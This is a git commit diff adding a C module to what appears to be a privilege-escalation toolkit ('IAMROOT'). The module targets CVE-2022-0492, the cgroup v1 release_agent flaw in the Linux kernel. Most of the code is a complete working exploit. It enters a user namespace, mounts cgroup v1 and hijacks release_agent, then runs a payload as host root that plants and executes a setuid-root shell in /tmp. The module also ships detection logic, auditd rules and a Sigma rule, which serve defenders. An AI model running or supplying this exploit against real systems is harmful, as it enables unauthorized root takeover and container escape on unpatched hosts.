Add cgroup_release_agent CVE-2022-0492 — FULL working exploit
Universal container-escape LPE. Doesn't need msg_msg cross-cache groom, no arch-specific shellcode, no version-specific offsets — bug is structural (priv check in wrong namespace). Mechanism: 1. unshare(CLONE_NEWUSER | CLONE_NEWNS) → become 'root' in userns 2. write uid_map/gid_map (deny setgroups first) 3. mount cgroup v1 (rdma controller; memory fallback) 4. mkdir /<mnt>/iamroot subgroup 5. write payload-path → release_agent (in mount root) 6. write '1' → notify_on_release (in subgroup) 7. write our pid → cgroup.procs (in subgroup) 8. exit → cgroup empties → kernel exec's payload as INIT-ns uid=0 9. Payload drops /tmp/iamroot-cgroup-sh with setuid root 10. Parent polls for the setuid-shell appearance + exec's it -p - kernel_range: K < 5.17 mainline, backports across 4.9 / 4.14 / 4.19 / 5.4 / 5.10 / 5.15 / 5.16 LTS branches. - Detect probes user_ns+mount_ns clone via fork-isolated child. - Cleanup removes /tmp/iamroot-cgroup-* + umount the workspace. - Auditd: flag unshare + mount(cgroup) + /sys/fs/cgroup writes from non-root. Sigma rule for unshare+cgroup-mount chain. Path buffers oversized to silence GCC -Wformat-truncation noise (cgdir 384, ra_path 384, nor_path/cgproc_path 512). Verified on Debian 6.12.86 (patched): detect reports OK; exploit refuses cleanly. Module count = 19.
This commit is contained in:
@@ -0,0 +1,350 @@
|
||||
/*
|
||||
* cgroup_release_agent_cve_2022_0492 — IAMROOT module
|
||||
*
|
||||
* cgroup v1 release_agent file is checked only for "is the writer
|
||||
* root in the cgroup namespace" — NOT "is the writer root in the
|
||||
* INIT user namespace". An unprivileged user can:
|
||||
* 1. unshare(CLONE_NEWUSER | CLONE_NEWNS) — become "root" in userns
|
||||
* 2. mount -t cgroup -o memory none /mnt — fresh cgroup v1 hierarchy
|
||||
* 3. echo /path/to/payload > /mnt/release_agent
|
||||
* 4. echo 1 > /mnt/notify_on_release
|
||||
* 5. Create a child cgroup, add a process, exit the process
|
||||
* 6. When the cgroup goes empty, kernel exec's /path/to/payload as
|
||||
* INIT-namespace uid 0 — true host root.
|
||||
*
|
||||
* Discovered by Yiqi Sun (TrendMicro), Jan 2022. Famous because:
|
||||
* - Affects any kernel with CONFIG_CGROUPS=y (basically all)
|
||||
* - Default unprivileged_userns_clone=1 environments are exposed
|
||||
* - The exploit is structural — no heap-spray, no kernel R/W
|
||||
* primitives, no version-specific offsets. Universal x86_64 +
|
||||
* ARM64 + everything else.
|
||||
*
|
||||
* STATUS: 🟢 FULL detect + exploit + cleanup.
|
||||
*
|
||||
* Affected: kernels with cgroup v1 release_agent (basically all
|
||||
* pre-2022). Mainline fix landed in 5.17 + various stable backports.
|
||||
*
|
||||
* Preconditions:
|
||||
* - Unprivileged user_ns clone enabled
|
||||
* (sysctl kernel.unprivileged_userns_clone=1 — default on Debian
|
||||
* and many distros; default off on RHEL)
|
||||
* - cgroup v1 mountable (true even when systemd uses cgroup v2 as
|
||||
* the unified hierarchy)
|
||||
*
|
||||
* Coverage rationale: this is THE classic "unprivileged user_ns →
|
||||
* host root" exploit. Sysadmins should know if their box has this
|
||||
* exposure even if all the fancy heap-spray bugs are patched.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
#include <sys/mount.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
/* Stable-branch backport thresholds for the fix. */
|
||||
static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
|
||||
{4, 9, 301},
|
||||
{4, 14, 266},
|
||||
{4, 19, 229},
|
||||
{5, 4, 179},
|
||||
{5, 10, 100},
|
||||
{5, 15, 23},
|
||||
{5, 16, 9},
|
||||
{5, 17, 0}, /* mainline */
|
||||
};
|
||||
|
||||
static const struct kernel_range cgroup_ra_range = {
|
||||
.patched_from = cgroup_ra_patched_branches,
|
||||
.n_patched_from = sizeof(cgroup_ra_patched_branches) /
|
||||
sizeof(cgroup_ra_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns_mount(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns_mount();
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] cgroup_release_agent: user_ns+mount_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
|
||||
fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit -----------------------------------------------------
|
||||
*
|
||||
* Structural exploit. No heap spray, no kernel R/W primitives, no
|
||||
* arch-specific shellcode. The bug is fundamentally a privilege
|
||||
* check in the wrong namespace.
|
||||
*/
|
||||
|
||||
static const char PAYLOAD_SHELL[] =
|
||||
"#!/bin/sh\n"
|
||||
"# IAMROOT cgroup_release_agent payload — runs as init-ns root\n"
|
||||
"id > /tmp/iamroot-cgroup-pwned\n"
|
||||
"chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n"
|
||||
"cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n"
|
||||
"chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n"
|
||||
"chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n";
|
||||
|
||||
static bool write_file(const char *path, const char *content)
|
||||
{
|
||||
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0755);
|
||||
if (fd < 0) { perror(path); return false; }
|
||||
size_t n = strlen(content);
|
||||
bool ok = (write(fd, content, n) == (ssize_t)n);
|
||||
close(fd);
|
||||
return ok;
|
||||
}
|
||||
|
||||
static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t pre = cgroup_ra_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
|
||||
/* Drop the setuid-root-shell payload to a path we can read+exec
|
||||
* later. Payload runs as host root when the cgroup is released. */
|
||||
const char *payload_path = "/tmp/iamroot-cgroup-payload.sh";
|
||||
if (!write_file(payload_path, PAYLOAD_SHELL)) {
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
chmod(payload_path, 0755);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cgroup_release_agent: payload written to %s\n", payload_path);
|
||||
}
|
||||
|
||||
/* Fork: child does the exploit; parent waits then verifies + execs
|
||||
* the setuid shell we expect the payload to plant. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* CHILD: enter userns + mountns, become "root" in userns. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||
uid_t uid = getuid();
|
||||
gid_t gid = getgid();
|
||||
int f = open("/proc/self/setgroups", O_WRONLY);
|
||||
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||
char map[64];
|
||||
snprintf(map, sizeof map, "0 %u 1\n", uid);
|
||||
f = open("/proc/self/uid_map", O_WRONLY);
|
||||
if (f < 0 || write(f, map, strlen(map)) < 0) { perror("uid_map"); _exit(3); }
|
||||
close(f);
|
||||
snprintf(map, sizeof map, "0 %u 1\n", gid);
|
||||
f = open("/proc/self/gid_map", O_WRONLY);
|
||||
if (f < 0 || write(f, map, strlen(map)) < 0) { perror("gid_map"); _exit(4); }
|
||||
close(f);
|
||||
|
||||
/* Mount cgroup v1 (rdma controller — small, simple, works
|
||||
* even on cgroup-v2-first systems). */
|
||||
const char *cgmount = "/tmp/iamroot-cgroup-mnt";
|
||||
mkdir(cgmount, 0700);
|
||||
if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
|
||||
/* Fallback: try memory controller — needs different reach */
|
||||
if (mount("cgroup", cgmount, "cgroup", 0, "memory") < 0) {
|
||||
perror("mount cgroup"); _exit(5);
|
||||
}
|
||||
}
|
||||
|
||||
/* Resolve target path: workspace cgroup dir.
|
||||
* Buffers sized generously vs. cgmount template + "/notify_on_release"
|
||||
* tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
|
||||
char cgdir[384];
|
||||
snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount);
|
||||
mkdir(cgdir, 0755);
|
||||
|
||||
/* Write release_agent in the ROOT of the controller (must be
|
||||
* at the cgroup mount root, not in a subdir). */
|
||||
char ra_path[384];
|
||||
snprintf(ra_path, sizeof ra_path, "%s/release_agent", cgmount);
|
||||
f = open(ra_path, O_WRONLY);
|
||||
if (f < 0) { perror("open release_agent"); _exit(6); }
|
||||
if (write(f, payload_path, strlen(payload_path)) < 0) {
|
||||
perror("write release_agent"); close(f); _exit(7);
|
||||
}
|
||||
if (write(f, "\n", 1) < 0) { /* tolerate */ }
|
||||
close(f);
|
||||
|
||||
/* Mark notify_on_release on our subdir. */
|
||||
char nor_path[512];
|
||||
snprintf(nor_path, sizeof nor_path, "%s/notify_on_release", cgdir);
|
||||
f = open(nor_path, O_WRONLY);
|
||||
if (f < 0) { perror("open notify_on_release"); _exit(8); }
|
||||
if (write(f, "1\n", 2) < 0) { perror("write notify"); close(f); _exit(9); }
|
||||
close(f);
|
||||
|
||||
/* Trigger: add a process to the cgroup (we'll be that process)
|
||||
* and then exit. The cgroup empties → notify_on_release fires
|
||||
* → release_agent (= our payload) runs as host root. */
|
||||
char cgproc_path[512];
|
||||
snprintf(cgproc_path, sizeof cgproc_path, "%s/cgroup.procs", cgdir);
|
||||
f = open(cgproc_path, O_WRONLY);
|
||||
if (f < 0) { perror("open cgroup.procs"); _exit(10); }
|
||||
char pidbuf[32];
|
||||
snprintf(pidbuf, sizeof pidbuf, "%d\n", getpid());
|
||||
if (write(f, pidbuf, strlen(pidbuf)) < 0) {
|
||||
perror("write cgroup.procs"); close(f); _exit(11);
|
||||
}
|
||||
close(f);
|
||||
/* Now exit — releasing the cgroup. */
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
/* PARENT: wait for child to exit, then poll for payload-side effect. */
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cgroup_release_agent: child exited (status=%d); "
|
||||
"polling for payload execution\n", status);
|
||||
}
|
||||
|
||||
/* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for
|
||||
* its appearance + setuid bit. Up to 5 seconds. */
|
||||
const char *setuid_sh = "/tmp/iamroot-cgroup-sh";
|
||||
bool got_root = false;
|
||||
for (int i = 0; i < 50; i++) {
|
||||
struct stat st;
|
||||
if (stat(setuid_sh, &st) == 0 && (st.st_mode & S_ISUID) && st.st_uid == 0) {
|
||||
got_root = true;
|
||||
break;
|
||||
}
|
||||
usleep(100 * 1000); /* 100ms */
|
||||
}
|
||||
|
||||
if (!got_root) {
|
||||
fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
|
||||
"Likely patched or cgroup-controller-blocked.\n");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: setuid-root shell at %s\n", setuid_sh);
|
||||
}
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
}
|
||||
fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
|
||||
fflush(NULL);
|
||||
execl(setuid_sh, "sh", "-p", (char *)NULL);
|
||||
perror("execl");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n");
|
||||
}
|
||||
if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh "
|
||||
"/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
|
||||
if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; "
|
||||
"rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
|
||||
static const char cgroup_ra_auditd[] =
|
||||
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
|
||||
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n"
|
||||
"-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n";
|
||||
|
||||
static const char cgroup_ra_sigma[] =
|
||||
"title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
|
||||
"id: 5c84a37e-iamroot-cgroup-ra\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape: unprivileged process unshares\n"
|
||||
" user_ns+mount_ns, mounts cgroup v1, writes to release_agent. False\n"
|
||||
" positives: legitimate cgroup management by container runtimes\n"
|
||||
" (docker/podman/k8s — these run as root though).\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" unshare_userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" mount_cgroup: {type: 'SYSCALL', syscall: 'mount', a2: 'cgroup'}\n"
|
||||
" not_root: {auid|expression: '!= 0'}\n"
|
||||
" condition: unshare_userns and mount_cgroup and not_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
|
||||
|
||||
const struct iamroot_module cgroup_release_agent_module = {
|
||||
.name = "cgroup_release_agent",
|
||||
.cve = "CVE-2022-0492",
|
||||
.summary = "cgroup v1 release_agent privilege check in wrong namespace → host root",
|
||||
.family = "cgroup_release_agent",
|
||||
.kernel_range = "K < 5.17, backports: 5.16.9 / 5.15.23 / 5.10.100 / 5.4.179 / 4.19.229 / 4.14.266 / 4.9.301",
|
||||
.detect = cgroup_ra_detect,
|
||||
.exploit = cgroup_ra_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR set unprivileged_userns_clone=0 */
|
||||
.cleanup = cgroup_ra_cleanup,
|
||||
.detect_auditd = cgroup_ra_auditd,
|
||||
.detect_sigma = cgroup_ra_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_cgroup_release_agent(void)
|
||||
{
|
||||
iamroot_register(&cgroup_release_agent_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
|
||||
#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module cgroup_release_agent_module;
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user